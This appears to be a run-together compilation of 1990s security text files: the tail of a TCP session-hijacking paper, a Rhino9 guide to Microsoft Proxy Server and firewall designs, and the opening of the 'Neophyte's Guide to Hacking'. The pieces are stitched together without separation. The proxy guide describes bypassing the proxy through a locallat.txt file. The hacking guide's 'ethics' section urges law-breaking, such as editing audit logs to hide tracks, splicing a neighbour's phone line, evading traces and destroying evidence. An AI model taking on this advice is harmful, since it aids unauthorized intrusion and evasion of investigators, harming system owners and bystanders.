The are four principal differences between Morris' attack and
the present one:
- Morris's relies on the trusted hosts identification scheme whereas
the present attack lets the user conduct the identification stage of the
connection.
- The present attack is a full duplex TCP stream. The attacker can
send and receive data.
- The present attack uses the ethernet sniffer to predict (or just get)
SVR_SEQ_0.
- The present attack can be used against any kind of host besides
Unix hosts.
Morris' attack can easily be extented in regard of the present attack:
- The sniffer is used to get the server's initial sequence number. Morris'
attack can then be performed against the server. The attacker do not need
to wait for a client to connect.
- Considering that the client will not send RST packets (for example it is
down) the attacker can establish a full duplex TCP connection
with the server. It can send data and receive data on behalf of the client.
Of course the cracker still has to pass the identification barrier. If the
identification is based on trusted hosts (like NFS or rlogin)
the cracker has full access to the host's services.
Steven M. Bellovin in [bellovin89] also presents how ICMP
packets can be used to disable one side of the connection. In this case
the attacker gets full control of the session (people have referred
to 'TCP session hijacking'), but this is too easily detected by the user.
8. Conclusion
Although easy to detect when used on a local network, the attack
presented here is quite efficient on long distance, low bandwidth, high
delay networks (usually WAN). It can be carried with the same resources as
for a passive sniffing attack which have occurred so frequently on the Internet
.
This attack has also the dangerous advantage of being invisible to the user.
While cracking into a host on the Internet is becoming more and more
frequent, the stealthfulness of the attack is now a very important
parameter for the success of the attack and makes it more difficult to
detect.
When everybody's attention in the Internet is focused on the
emerging new IPv6 protocol to replace the current IPv4, increasing
attacks and the need for secure systems press us to develop and use a
secure transport layer for the Internet community. Options should be
available to send signed and eventually encrypted data to provide
privacy. And since the signature of the data implies reliability the
signature can be substituted to the current TCP checksum.
This paper does not attempt to explain all cases
of active attacks using a sniffer. It is more a warning for people using
s/key or Kerberos against the danger of someone sniffing the ethernet.
It provides a few ideas and starting points which can be more deeply studied.
The method presented has been successfully used during our test even with
a very simple attacker's software.
[Bellovin89] "Security Problems in the TCP/IP
Protocol Suite", Bellovin, S., Computer Communications Review,
April 1989.
[Kerberos] "Kerberos: An Authentication Service for
Open Network Systems", Steiner, J., Neuman, C., Schiller, J.,
USENIX Conference Proceeding, Dallas, Texas, February 1989.
[Morris85] "A Weakness in the 4.2BSD UNIX TCP/IP
Software", Morris, R., Computing Science Technical Report No 117,
ATT Bell Laboratories, Murray Hill, New Jersey, 1985.
[PGP] Pretty Good Privacy Version 2.6.1, Philip
Zimmermann, August 1994.
[RFC 793] Request For Comment 793,
``Transmission Control Protocol'', September 1981, J. Postel.
[RFC 854] Request For Comment 854,
``Telnet Protocol Specification'', May 1983, J. Postel,
J. Reynolds
[SKEY] "The S/Key One-time Password System", Haller, N.,
Proceeding of the Symposium on Network Distributed Systems,
Security, Internet Society, San Diego, CA, February 1994.
[TCPcrypt] "Public Key Encryption Support for TCP",
Joncheray, L., Work in progress, May 1995.
[TCPDUMP] tcpdump(8) Version 2.2.1, Van Jacobson,
Craig Leres, Steven Berkeley, University of California, Berkeley, CA.
Understanding Microsoft Proxy Server 2.0
By NeonSurge
Rhino9 Publications
PrefaceThis documented was not made for people who have been working with Microsoft
Proxy Server since its beta (catapult) days. It is made for individuals who
are curious about the product and security professionals that are curious as
to what Microsoft Proxy Server has to offer. This document is also being
written for individuals have a general idea of what a Proxy Server does, but
wants to know more. This paper goes into discussion of Proxy Server Features
and Architecture, Access Control, Encryption, and Firewall Strategies (which
I have been getting a lot of requests for).
The second part of the documentation goes into Firewall types and
strategies, so if that's the reason you downloaded the documentation, go
straight to page 8 I believe.
What is Microsoft Proxy Server?
Microsoft Proxy Server is a "firewall" and cache server. It provides
additional Internet security and can improve network response issues
depending on its configuration. The reason I put the word firewall in quotes
is because Proxy Server should not be considered as a stand-alone solution
to a firewall need. When you are done reading this document, you will have
an advanced understanding of the Proxy Server product and also understand
firewall techniques and topologies.
Proxy Server can be used as an inexpensive means to connect an entire
business through only one valid IP address. It can also be used to allow
more secure inbound connections to your internal network from the Internet.
By using Proxy Server, you are able to better secure your network against
intrusion. It can be configured to allow your entire internal private
network to access resources on the Internet, at the same time blocking any
inbound access.
Proxy Server can also be used to enhance the performance of your network by
using advanced caching techniques. The can be configured to save local
copies of requested items from the Internet. The next time that item is
requested, it can be retrieved from the cache without having to connect to
the original source. This can save an enormous amount of time and network
bandwidth.
Unlike Proxy Server 1.0, Proxy Server 2.0 includes packet filtering and many
other features that we will be discussing.
Proxy Server provides it functionality by using three services:
* Web Proxy: The web proxy service supports HTTP, FTP, and Gopher for TCP/IP
Clients.
* WinSock Proxy: The Winsock proxy supports Windows Sockets client
applications. It provides support for clients running either TCP/IP or
IPX/SPX. This allows for networks that may be running more of a Novell
environment to still take advantage of Proxy Server.
* SOCKS Proxy: The SOCKS Proxy is a cross-platform service that allows for
secure communication in a client/server capacity. This service supports
SOCKS version 4.3a and allows users access to the Internet by means of Proxy
Server. SOCKS extends the functionality provided by the WinSock service to
non-Windows platforms such as Unix or Macintosh.
Proxy Servers Security Features
In conjunction with other products, Proxy Server can provide firewall level
security to prevent access to your internal network.
* Single Contact Point: A Proxy Server will have two network interfaces. One
of these network interfaces will be connected to the external (or
"untrusted") network, the other interface will be connected to your internal
(or "trusted") network. This will better secure your LAN from potential
intruders.
* Protection of internal IP infrastructure: When IP forwarding is disabled
on the Proxy Server, the only IP address that will be visible to the
external environment will be the IP address of the Proxy Server. This helps
in preventing intruders from finding other potential targets on your
network.
* Packet Layer Filtering: Proxy Server adds dynamic packet filtering to its
list of features. With this feature, you can block or enable reception of
certain packet types. This enables you to have a tremendous amount of
control over your network security.
Beneficial Features of Proxy
* IIS and NT Integration: Proxy Server integrates with Windows NT and
Internet Information Server tighter than any other package available on the
market. Proxy Server actually uses the same administrative interface used by
Internet Information Server.
* Bandwidth Utilization: Proxy Server allows all clients in your network to
share the same link to the external network. In conjunction with Internet
Information Server, you can set aside a certain portion of your bandwidth
for use by your webserver services.
* Caching Mechanisms: Proxy Server supports both active and passive caching.
These concepts will be explained in better detail further into the document.
* Support for Web Publishing: Proxy Server uses a process known as reverse
proxy to provide security while simultaneously allowing your company to
publish on the Internet. Using another method known as reverse hosting, you
can also support virtual servers through Proxy.
Hardware and Software Requirements
Microsoft suggests the following minimum hardware requirements.
* Intel 486 or higher. RISC support is also available.
* 24 MB Ram for Intel chips 32 MB Ram for RISC.
* 10 MB Diskspace needed for installation. 100 MB + .5 MB per client for
Cache space.
* 2 Network interfaces (Adapters, Dial-Up, etc)
Following is the suggested minimum software requirements.
* Windows NT server 4.0
* Internet Information Server 2.0
* Service Pack 3
* TCP/IP
It is highly recommended that it be installed on an NTFS partition. If an
NTFS partition is not used, not only are you losing NTFS's advanced security
features, but also the caching mechanisms of Proxy Server will not work.
It is also recommended that your two network interfaces be configured prior
to installation. On interface configured to the external network, and one
configured for the internal network. (Note: When configuring your TCP/IP
settings, DO NOT configure a default gateway entry for your internal network
interface.)
* Be sure that "Enable IP Forwarding" is not checked in your TCP/IP settings. This
could seriously compromise your internal security.
What is the LAT?
This is probably one of the most common questions I am asked as a security
professional. The LAT, or Local Address Table, is a series of IP address
pairs that define your internal network. Each pair defines a range of IP
addresses or a single pair.
That LAT is generated upon installation of Proxy Server. It defines the
internal IP addresses. Proxy Server uses the Windows NT Routing Table to
auto-generate the LAT. It is possible that the when the LAT is
auto-generated, that errors in the LATs construction will be found. You
should always manually comb through the LAT and check for errors. It is not
uncommon to find external IP addresses in the LAT, or entire subnets of your
internal IP addresses will not appear on the LAT. It is generally a good
idea to have all of your internal IP addresses in the LAT.
* NO EXTERNAL IP ADDRESSES SHOULD APPEAR IN YOUR LAT.
Upon installing the Proxy Server client software, it adds a file named
msplat.txt into the \Mspclnt directory. The msplat.txt file contains the
LAT. This file is regularly updated from the server to ensure that the LAT
the client is using is current.
What is the LAT used for?
Every time a client attempts to use a Winsock application to establish a
connection, the LAT is referenced to determine if the IP address the client
is attempting to reach is internal or external. If the IP address is
internal, Proxy Server is bypassed and the connection is made directly. If
the IP address the client is attempting to connect to DOES NOT appear in the
LAT, it is determined that the IP address is remote and the connection is
made through Proxy Server. By knowing this information, someone on your
internal network could easily edit his or her LAT table to bypass Proxy
Server.
Some Administrators may not see this as a problem because the LAT is
regularly updated from the server, so any changes the user made to his or
her LAT will be overwritten. However, if the user saves their LAT with the
filename Locallat.txt, the client machine will reference both the msplat.txt
and the locallat.txt to determine if an IP address is local or remote. So,
by using the locallat.txt method, a user can, in theory, permanently bypass
Proxy Server. The locallat.txt file is never overwritten unless the user
does so manually.
What changes are made when Proxy Server is installed?
Server side changes:
* The Web Proxy, Winsock Proxy, and SOCKS Proxy services are installed and
management items are added into the Internet Service Manager.
* An HTML version of the documentation is added into the
%systemroot%\help\proxy\ directory.
* A cache area is created on an NTFS volume.
* The LAT table is constructed.
* Proxy Server Performance Monitor counters are added.
* Client installation and config files are added to the Msp\Clients folder.
This folder is shared as Mspclnt and by default has the permissions set to
Read for Everyone.
Client side changes:
* The LAT (msplat.txt) file is copied to the clients local hard drive.
* A WSP Client icon is added to control panel on Win3.X, Win95 and WinNT
clients.
* A Microsoft Proxy Client Program Group is added
* The winsock.dll file is replace with Remote WinSock for Proxy. The old
winsock file is renamed winsock.dlx.
* Mspclnt.ini file is copied to the client machine.
Proxy Server Architecture
To understand the architecture of Microsoft Proxy Server, you must first
have a basic grasp of how Proxy works for outbound client requests. Here is
a simple example:
Joe opens his browser to visit his favorite news site on the net. He types
in the sites IP address which he has memorized because his visits often,
instead of doing his job. The client compares the IP address Joe entered to
the LAT table. Because the IP address is not found on the LAT, it is
considered external. Since the client has determined that the IP address is
external, it knows it must process the request through Proxy Server. The
client hands Joe's request to Proxy Server. Proxy Server then checks the IP
address against the access control applied by the Administrator. The
Administrator has the ability to stop internal employees from visiting
certain sites. Since Joe's request is not on the forbidden list applied by
the Administrator, Proxy Server executes the request. Proxy contacts the
website and requests the document Joe wanted. After Proxy server has
received the information it requested, it stored a copy in its cache for
later use and hands the request to the client machine. The website pops-up
on Joe's browser.
Proxy Server Services: An Introduction
* WebProxy: Web Proxy normally functions with both clients and servers. As a
server, it receives HTTP requests from internal network clients. As a
client, it responds to internal network clients' requests by issuing their
requests to a server on the Internet. The interface between the client and
server components of the Web Proxy service provides chances to add value to
the connections it services. By performing advanced security checks, the Web
Proxy does more than relay requests between an internal client and a server
on the Internet. The WebProxy service is an extensions of Internet
Information Server 3.0. It consists of two following components: The Proxy
Server ISAPI Filter and the Proxy Server ISAPI Application. The Web Proxy
service is implemented as a DLL (dynamic link library) that uses ISAPI
(Internet Server Application Programming Interface) and therefore runs
within the IIS WWW process. The WWW Service must installed and running in
order for proxy requests to be processed.
* WinSock Proxy: WinSock Proxy provides proxy services for windows sockets
applications. WinSock Proxy allows winsock applications to function on a LAN
and to operate as if it is directly connected to the Internet. The client
app uses Windows Sockets APIs to communicate with another application
running on an Internet computer. WinSock Proxy intercepts the windows
sockets call and establishes a communication path from the internal
application to the Internet application through the proxy server. The
process is totally transparent to the client. The WinSock Proxy consists of
a service running on Proxy Server and a DLL installed on each client. The
DLL it relies on is the Remote Winsock DLL that replaced the normal
winsock.dll. WinSock Proxy uses a control channel between the client and the
server to manage the ability of Windows Sockets messages to be used
remotely. The control channel is set up when the WinSock Proxy client DLL is
first loaded, and it uses the connectionless UDP protocol. The Winsock Proxy
client and the WinSock Proxy service use a simple ack protocol to add
reliability to the control channel. The control channel uses UDP port 1745
on the proxy server and client computers.
* SOCKS Proxy: Proxy Server supports SOCKS Version 4.3a. Almost all SOCKS
V4.0 client applications can run remotely through SOCKS Proxy. SOCKS is a
protocol that functions as a proxy. It enables hosts on one side of a SOCKS
server to gain full access to hosts on the other side of a SOCKS server,
without requiring direct IP access. (To learn more about SOCKS, visit
http://www.socks.nec.com/index.html).
Understanding components
This area will attempt to better define to the components of the
architecture that we have used, but may not have defined.
ISAPI Filter
The ISAPI Filter interface is one of the components of the web proxy
service. The interface provides an extension that the Web server calls
whenever it receives an HTTP request.
An ISAPI Filter is called for every request, regardless of the identity of
the resource requested in the URL. An ISAPI filter can monitor, log, modify,
redirect and authenticate all requests that are received by the Web server.
The Web service can call an ISAPI filter DLL's entry point at various times
in the processing of a request or response. The Proxy Server ISAPI filter is
contained in the w3proxy.dll file. This filter examines each request to
determine if the request is a standard HTTP request or not.
ISAPI Application
The ISAPI Application is the second of the two web proxy components. ISAPI
applications can create dynamic HTML and integrate the web with other
service applications like databases.
Unlike ISAPI Filters, an ISAPI Application is invoked for a request only if
the request references that specific application. An ISAPI Application does
not initiate a new process for every request. The ISAPI Application is also
contained in the w3proxy.dll file.
Proxy Servers Caching Mechanism
Microsoft Proxy Server handles caching in two different ways, Passive and Active
caching.
* Passive Caching: Passive caching is the basic mode of caching. Proxy
Server interposes itself between a client and an internal or external Web
site and then intercepts client requests. Before forwarding the request on
to the Web server, Proxy Server checks to see if it can satisfy the request
from its cache. Normally, in passive caching, Proxy Server places a copy of
retrieved objects in the cache and associates a TTL (time-to-live) with that
object. During this TTL, all requests for that object are satisfied from the
cache. When the TTL is expired, the next client request for that object will
prompt Proxy Server to retrieve a fresh copy from the web. If the disk space
for the cache is too full to hold new data, Proxy Server removes older
objects from the cache using a formula based on age, popularity, and size.
* Active Caching: Active Caching works with passive caching to optimize the
client performance by increasing the likelihood that a popular will be
available in cache, and up to date. Active caching changes the passive
caching mechanism by having the Proxy Server automatically generate requests
for a set of objects. The objects that are chosen are based on popularity,
TTL, and Server Load.
Windows Sockets
Windows Sockets is the mechanism for communication between applications
running on the same computer or those running on different computers which
are connected to a LAN or WAN. Windows Sockets defines a set of standard
API's that an application uses to communicate with one or more other
applications, usually across a network. Windows Sockets supports initiating
an outbound connection, accepting inbound connections, sending and receiving
data on those connections, and terminating a session.
Windows socket is a port of the Berkeley Sockets API that existed on Unix,
with extensions for integration into the Win16 and Win32 application
environments. Windows Sockets also includes support for other transports
such as IPX/SPX and NetBEUI.
Windows Sockets supports point-to-point connection-oriented communications
and point-to-point or multipoint connectionless communications when using
TCP/IP. Windows Socket communication channels are represented by data
structures called sockets. A socket is identified by an address and a port,
for example;
131.107.2.200:80
Access Control Using Proxy Server
Controlling Access by Internet Service
Proxy Server can be configured to provide or restrict access based on
Service type. FTP, HTTP, Gopher, and Secure (SSL) are all individually
configurable.
Controlling Access by IP, Subnet, or Domain
Proxy allows an administrator to control access based on IP Address, Subnet
or Domain. This is done by enabling filtering and specifying the appropriate
parameters. When configuring this security, you need to decide if you want
to grant or deny access to an IP address, subnet, or domain.
By configuring
Proxy Server correctly, you can also set it up to use the internet as your
corporate WAN.
Controlling Access by Port
If you are using the WinSock Proxy service, you can control access to the
internet by specifying which port is used by TCP and UDP. You can also grant
or deny, activate or disable certain ports based on your needs.
Controlling Access by Packet Type
Proxy Server can control access of external packets into the internal
network by enabling packet filtering on the external interface. Packet
filtering intercepts and evaluates packets from the Internet before they
reach the proxy server. You can configure packet filtering to accept or deny
specific packet types, datagrams, or packet fragments that can pass through
Proxy Server. In addition, you can block packets originating from a specific
Internet host.
The packet filtering provided by Proxy Server is available in two forms,
Dynamic and Static.
Dynamic packet filtering allows for designed ports to automatically open for
transmission, receive, or both. Ports are then closed immediately after
connection has been terminated, thereby minimizing the number of open ports
and the duration of time that a port is open.
Static packet filtering allows manual configuration of which packets are and
are not allowed.
By default, the following Packet settings are enabled on Proxy Server (by
default, ALL packet types are blocked except the ones listed below, known as
Exceptions):
Inbound
ICMP ECHO (Ping)
Inbound
ICMP RESPONSE (Ping)
Inbound
ICMP SOURCE QUENCH
Inbound
ICMP TIMEOUT
Inbound
ICMP UNREACHABLE
Outbound
Inbound
ICMP ANY
TCP HTTP
In/Outbound
UDP ANY (dns)
Logging and Event Alerts
Events that could affect your system may be monitored, and, if they occur,
alerts can be generated. The items listed below are events that will
generate alerts:
Rejected Packets: Watches external adapter for dropped IP packets. Protocol
Violations: Watches for packets that do not follow the allowed protocol
structure. Disk Full: Watches for failures caused by a full disk.
When any of the events above occur, an alert is sent to the system log in
the NT Event Viewer, or can be configured to e-mail a pre-defined person.
When the system logs information concerning Access Control, it does so to a
log file stored in the %systemroot%/system32/msplogs/ directory. The log
file itself is named Pfyymmdd.log (Where yy=Current year / mm= Current Month
/ dd= Current day).
The Packet log records information related to the following areas:
Service Information (Time of Service, Date and Time)
Remote Information (The Source IP Address of a possible Intruder, along with
port and protocol used)
Local Information (Destination IP Address and port)
Filter Information (Action taken and what interface (network adapter) issued
the action)
Packet Information (Raw IP Header in Hex and Raw IP Packet in Hex)
Encryption Issues
Proxy Server can take full advantage of the authentication and security
features of Internet Information Server and SSL tunneling.
SSL supports data encryption and server authentication. All data sent to and
from the client using SSL is encrypted. If HTTP basic authentication is used
in conjunction with SSL, the user name and password are transmitted after
the client's SSL support encrypts them.
If your are wanting to take advantage of PPTP to provide additional
flexibility and security for your clients, you can configure Proxy Server to
allow these packets (GRE) to pass through.
Other Benefits of Proxy Server
RAS
Proxy Server can take full advantage of Windows NT Remote Access Service
(RAS). Proxy can be configured to dial on demand when an internal client
makes a request that must be satisfied from the external network. The RAS
feature can be configured to only allow connectivity during certain hours.
The Dial-Up Network Scripting tool can aslo be used to automate certain
process using Proxy Server and RAS. For company's who have a standard
constant connection (ISDN, T1, T3) to the Internet, the RAS ability provided
by Proxy Server can be used as a back-up should your constant connection
fail.
IPX/SPX
Microsoft Proxy Server was developed with support for Internet Packet
Exchange/Sequenced Packet Exchange or IPX/SPX. IPX/SPX is a transport
protocol group somewhat similar to TCP/IP.
There are many situations when a client computer may have both IPX/SPX and
TCP/IP protocols installed although the company's internal network may only
use IPX/SPX. Simply disabling aTCP/IP while on the LAN will not get the
IPX/SPX component of the Proxy client software working. You will need to go
into Control Panel, open the Wsp Client icon and check the box that reads
"Force IPX/SPX protocol". This must be done because even though the TCP/IP
protocol was disabled, the WinSock Proxy Client still detects its presence
and will attempt to create a standard IP socket. By enabling the "Force
IPX/SPX Protocol" option, this problem should disappear.
Firewall Strategies
A firewall is a system that enforces access control policies. The
enforcement is done between an internal, or "trusted" network and an
external, or "untrusted" network. The firewall can be as advanced as your
standards require. Firewalls are commonly used to shield internal networks
from unauthorized access via the Internet or other external network.
Logical Construction
The single basic function of a firewall is to block unauthorized traffic
between a trusted system and an untrusted system. This process is normally
referred to as Filtering. Filtering can be viewed as either permitting or
denying traffic access to a network.
Firewalls know what traffic to block because they are configured with the
proper information. This information is known as an Access Control Policy.
The proper approach to an access control policy will depend on the goals of
the network security policy and the network administrator.
Exploring Firewall Types
In the origins of firewalls, there were two types. These two types have now
grown and overlapped each other to the point where distinction is hard. We
will explore the differences between these two types and discuss Firewall
building topologies.
Network Level Firewalls
Network level firewalls operate at the IP packet level. Most of these have a
network interface to the trusted network and an interface to the untrusted
network. They filter by examining and comparing packets to their access
control policies or ACL's.
Network level firewalls filter traffic based on any combination of Source
and Destination IP, TCP Port assignment and Packet Type. Network Level
firewalls are normally specialized IP routers. They are fast and efficient
and are transparent to network operations. Todays network level firewalls
have become more and more complex. They can hold internal information about
the packets passing through them, including the contents of some of the
data. We will be discussing the following types of network level firewalls:
* Bastion Host
* Screened Host
* Screened Subnet
Bastion Host Firewall
Bastion host are probably one of the most common types of firewalls. The
term bastion refers to the old castle structures used in europe, mainly for
draw bridges.
The Bastion host is a computer with atleast one interface to the trusted
network and one to the untrusted network. When access is granted to a host
from the untrusted network by the bastion host, all traffic from that host
is allowed to pass unbothered. In a physical layout, bastion hosts normally
stand directly between the inside and outside networks, with no other
intervention. They are normally used as part of a larger more sophisticated
firewall.
The disadvantages to a bastion host are:
- After an Intruder has gained access, he has direct access to the entire
network.
- Protection is not advanced enough for most network applications.
Screened Host Firewall
A more sophisticated network level firewall is the screened host firewall.
This firewall uses a router with at least on connection to trusted network
and one connection to a bastion host. The router serves as a preliminary
screen for the bastion host. The screening router sends all IP traffic to
the bastion host after it filters the packets. The router is set up with
filter rules. These rules dictate which IP addresses are allowed to connect,
and which ones are denied access. All other packet scrutiny is done by the
bastion host. The router decreases the amount of traffic sent to the bastion
host and simplifies the bastions filtering algorithms.
The physical layout of a Screened Host is a router with one connection to
the outside network, and the other connection with a bastion host. The
bastion host has one connection with the router and one connection with the
inside network.
Disadvantages to the Screened Host are:
- The single screen host can become a traffic bottleneck
- If the host system goes down, the entire gateway is down.
Screened Subnet Firewalls
A screened subnet uses on or more addition routers and on more additional
bastion hosts. In a screened subnet, access to and from the inside network
is secured by using a group of screened bastion host computers. Each of the
bastion hosts acts as a drawbridge to the network.
The physical layout of a Screened subnet is somewhat more difficult, but the result
is a more secure, robust environment. Normally, there is a router with one connection
to the outside network and the other connection to a bastion host. The bastion host
has one connection to the outer most router and one connection to another bastion
host, with an addressable network in the middle. The inner most bastion host has one
connection to the outer most bastion and another connection to an inside router. The
inside router has one connection to the inner bastion host and the other connection
to the inside network. The result of this configuration is the security components
are normally never bogged down with traffic and all internal IP addresses are hidden
from the outside, preventing someone from "mapping" your internal network.
Disadvantages to using this type of firewall are:
- The can be two or three times more expensive than other types of firewalls
- Implementation must be done by some type of security professional, as
these types of firewalls are not for the un-initiated.
Application Level Firewalls
Application level firewalls are hosts running proxy server software located
between the protected network and the outside network. Keep in mind that
even though Microsofts product is called Proxy Server 2.0, it is actually a
stand alone Bastion Host type of system. Microsoft Proxy Server can also,
single-handedly, disguise your internal network to prevent mapping.
Microsoft Proxy Server 1.0 did not have many of the advanced features
presented in version 2.0. The 1.0 version can definitely be called a true
proxy server, while the 2.0 version is more of a firewall.
Viewed from the client side, a proxy server is an application that services
network resource requests by pretending to be the target source. Viewed from
the network resource side, the proxy server is accessing network resources
by pretending to be the client. Application level firewalls also do not
allow traffic to pass directly between to the two networks. They are also
able to use elaborate logging and auditing features. They tend to provide
more detailed audit reports, but generally, as stand alone security unites,
do not perform that well. Remember that an Application level firewall is
software running on a machine, and if that machine can be attacked effective
and crashed, in effect, youre crashing the firewall.
You may wish to use an application level firewall in conjunction with
network level firewalls, as they provide the best all around security.
That's it for now.
NeonSurge
The Rhino9 Team.
http://rhino9.abyss.com
-----------------------------------------------------------------------------%%%%%%%%%%%%%%%%%%%%%%%%%%%%-%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%
%
%
THE NEOPHYTE'S GUIDE TO HACKING
%
%
===============================
%
%
1993 Edition
%
%
Completed on 08/28/93
%
%
Modification 1.1 Done on 10/10/93
%
%
Modification 1.2 Done on 10/23/93
%
%
by
%
%%
>>>>> Deicide <<<<<
%%
%%%
%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<
The author of this file grants permission to reproduce and
>
<
redistribute this file in any way the reader sees fit,
>
<
including the inclusion of this file in newsletters of any
>
<
media, provided the file is kept whole and complete,
>
<
without any modifications, deletions or ommissions.
>
<
(c) 1993, Deicide
>
TABLE OF CONTENTS
=================
1. INTRODUCTION
2. ETHICS/SAFETY
3. WHERE TO START
4. PACKET-SWITCHED NETWORKS
A. Intro to PSNs
B. How packet-switching works
C. The Internet
1. Introduction
2. Getting access
3. FTP
D. X.25 Networks
1. NUAs
2. PADs & NUIs
3. CUGs
4. SprintNet
5. BT Tymnet
6. Datapac
7. DNIC List
5. SYSTEM PENETRATION
A. Unix
B. VMS
C. MPE (HP3000 mainframes)
D. VM/CMS
E. Primos
F. TOPS 10/20
G. IRIS
H. NOS
I. DECServer
J. GS/1
K. XMUX
L. Starmaster/PACX
M. Access 2590
N. PICK
O. AOS/VS
P. RSTS
Q. WindowsNT
R. Novell Netware
S. System75/85
T. AS400
U. TSO
6. BRUTE FORCE
A. Passwords
B. Usernames
C. Services
7. SOCIAL ENGINEERING
8. TRASHING
9. ACRONYMS
10. CONCLUSION
A. Last words
B. Recommended Reading
C. BBSes
D. References
E. And finally..
F. Disclaimer
INTRODUCTION:
============
-----------Over four years ago the final version of the LOD/H's Novice's Guide to
Hacking was created and distributed, and during the years since it has served
as a much needed source of knowledge for the many hackers just beginning to
explore the wonders of system penetration and exploration.
The guide was much needed by the throng of newbies who hadn't the
slightest clue what a VAX was, but were eager to learn the arcane art of
hacking. Many of today's greats and moderates alike relied the guide as a
valuable reference during their tentative(or not) steps into the nets.
However, time has taken it's toll on the silicon networks and the guide is
now a tad out of date. The basic manufacturer defaults are now usually secured
, and more operating systems have come on the scene to take a large chunk of
the OS percentile. In over four years not one good attempt at a sequel has
been made, for reasons unbeknownst to me.
So, I decided to take it upon myself to create my own guide to hacking..
the "Neophyte's Guide to Hacking" (hey..no laughing!) in the hopes that it
might help others in furthering their explorations of the nets.
This guide is modelled after the original, mainly due to the fact that the
original *was* good. New sections have been added, and old sections expanded
upon. However, this is in no means just an update, it is an entirely new guide
as you'll see by the difference in size. This guide turned out to be over 4
times the size of The Mentor's guide.
Also, this guide is NOT an actual "sequel" to the original; it is not
LOD/H sponsored or authorized or whatever, mainly because the LOD/H is now
extinct.
One last thing.. this guide is in no way complete. There are many OS's I
did not include, the main reasons being their rarity or my non-expertise with
them. All the major OS's are covered, but in future releases I wish to include
Wang, MVS, CICS, SimVTAM, Qinter, IMS, VOS, and many more. If you
feel you could help, contact me by Internet email or on a board or net(if you
can find me). Same thing applies for further expansion of current topics and
operating systems, please contact me.
Ok, a rather long intro, but fuck it.. enjoy as you wish..
Deicide - deicide@west.darkside.com
ETHICS/SAFETY:
=============
------------One of the most integral parts of a hacker's mindset is his set of ethics.
And ethics frequently go hand in hand with safety, which is obviously the most
critical part of the process of hacking and the system exploration, if you
plan to spend your life outside of the gaol.
A hacker's ethics are generally somewhat different from that of an average
joe. An average joe would be taught that it is bad to break laws, even though
most do anyways. I am encouraging you to break laws, but in the quest for
knowledge. In my mind, if hacking is done with the right intentions it is not
all that criminal. The media likes to make us out to be psychotic sociopaths
bent on causing armageddon with our PCs. Not likely. I could probably turn the
tables on the fearmongering media by showing that the average joe who cheats
on his taxes is harming the system more than a curious interloper, but I
refrain.. let them wallow..
The one thing a hacker must never do is maliciously hack(also known
as crash, trash, etc..) a system. Deleting and modifying files unnecessary is
BAD. It serves no purpose but to send the sysadmins on a warhunt for your head
, and to take away your account. Lame. Don't do it.
Anyways, if you don't understand all of these, just do your best to follow
them, and take my word for it. You'll understand the reasoning behind these
guidelines later.
I.
Don't ever maliciously hack a system. Do not delete or modify files
unnecessarily, or intentionally slow down or crash a system.
The lone exception to this rule is the modification of system logs and
audit trails to hide your tracks.
II.
Don't give your name or real phone number to ANYONE, it doesn't matter
who they are. Some of the most famous phreaks have turned narcs because
they've been busted, and they will turn you in if you give them a
chance. It's been said that one out of every three hackers is a fed, and
while this is an exaggeration, use this as a rule and you should do
fine. Meet them on a loop, alliance, bbs, chat system, whatever, just
don't give out your voice number.
III. Stay away from government computers. You will find out very fast that
attempting to hack a MilTac installation is next to impossible, and will
get you arrested before you can say "oh shit". Big Brother has infinite
resources to draw on, and has all the time it needs to hunt you down.
They will spend literally years tracking you down. As tempting as it may
be, don't rush into it, you'll regret it in the end.
IV.
Don't use codes from your own home, ever! Period. This is the most
incredibly lame thing i've seen throughout my life in the 'underground';
incredible abuse of codes, which has been the downfall of so many people.
Most PBX/950/800s have ANI, and using them will eventually get you
busted, without question. And calling cards are an even worse idea.
Codes are a form of pseudo-phreaking which have nothing to do with the
exploration of the telephone networks, which is what phreaking is about.
If you are too lazy to field phreak or be inventive, then forget about
phreaking.
V.
Don't incriminate others, no matter how bad you hate them. Turning in
people over a dispute is a terrible way to solve things; kick their ass,
shut off their phones/power/water, whatever, just don't bust them.
It will come back to you in the end..
VI.
Watch what you post. Don't post accounts or codes over open nets as a
rule. They will die within days, and you will lose your new treasure.
And the posting of credit card numbers is indeed a criminal offense
under a law passed in the Reagan years.
VII. Don't card items. This is actually a worse idea than using codes, the
chances of getting busted are very high.
VIII. If for some reason you have to use codes, use your own, and nothing
else. Never use a code you see on a board, because chances are it has
been abused beyond belief and it is already being monitored.
IX.
Feel free to ask questions, but keep them within reason. People won't
always be willing to hand out rare accounts, and if this is the case
don't be surprised. Keep the questions technical as a rule. Try and
learn as much as you can from pure hands on experience
X.
And finally, be somewhat paranoid. Use PGP to encrypt your files, keep
your notes/printouts stored secretly, whatever you can do to prolong
your stay in the h/p world.
XI.
If you get busted, don't tell the authorities ANYTHING. Refuse to speak
to them without a lawyer present.
XII. If police arrive at your residence to serve a search warrant, look it
over carefully, it is your right. Know what they can and can't do, and
if they can't do something, make sure they don't.
XIII. If at all possible, try not to hack off your own phoneline. Splice your
neighbour's line, call from a Fortress Fone, phreak off a junction box,
whatever..
if you hack long enough, chances are one day you'll be
traced or ANI'd.
Don't believe you are entirely safe on packet-switched networks either,
it takes a while but if you scan/hack off your local access point they
will put a trace on it.
XIV. Make the tracking of yourself as difficult as possible for others.
Bounce the call off several outdials, or try to go through at least two
different telco companies when making a call to a dialup.
When on a packet-switched network or a local or wide area network,
try and bounce the call off various pads or through other networks
before you reach your destination. The more bounces, the more red tape
for the investigator and the easier it is for you to make a clean
getaway.
Try not to stay on any system for *too* long, and alternate your calling
times and dates.
XV.
Do not keep written notes! Keep all information on computer, encrypted
with PGP or another military-standard encryption program.
Written notes will only serve to incriminate you in a court of law.
If you write something down originally, shred the paper.. itty bitty
pieces is best, or even better, burn it! Feds DO trash, just like us,
and throwing out your notes complete will land in their hands, and
they'll use it against you.
XVI. Finally, the day/night calling controversy. Some folks think it is a
better idea to call during the day(or whenever the user would normally
use his account) as to not arouse the sysadmin's suspicion of abnormal
calling times, while others think it is better to call when nobody is
around.
This is a tough one, as there is no real answer. If the sysadmin keeps
logs(and reads over them) he will definetly think it strange that a
secretary calls in at 3 am.. he will probably then look closer and find
it even stranger that the secretary then grabbed the password file and
proceeded to set him/herself up with a root shell.
On the other hand, if you call during the time the user would normally
call, the real owner of the account may very well log in to see his
name already there, or even worse be denied access because his account
is already in use.
In the end, it is down to your opinion.
And remember, when you make a decision stick to it; remember the time
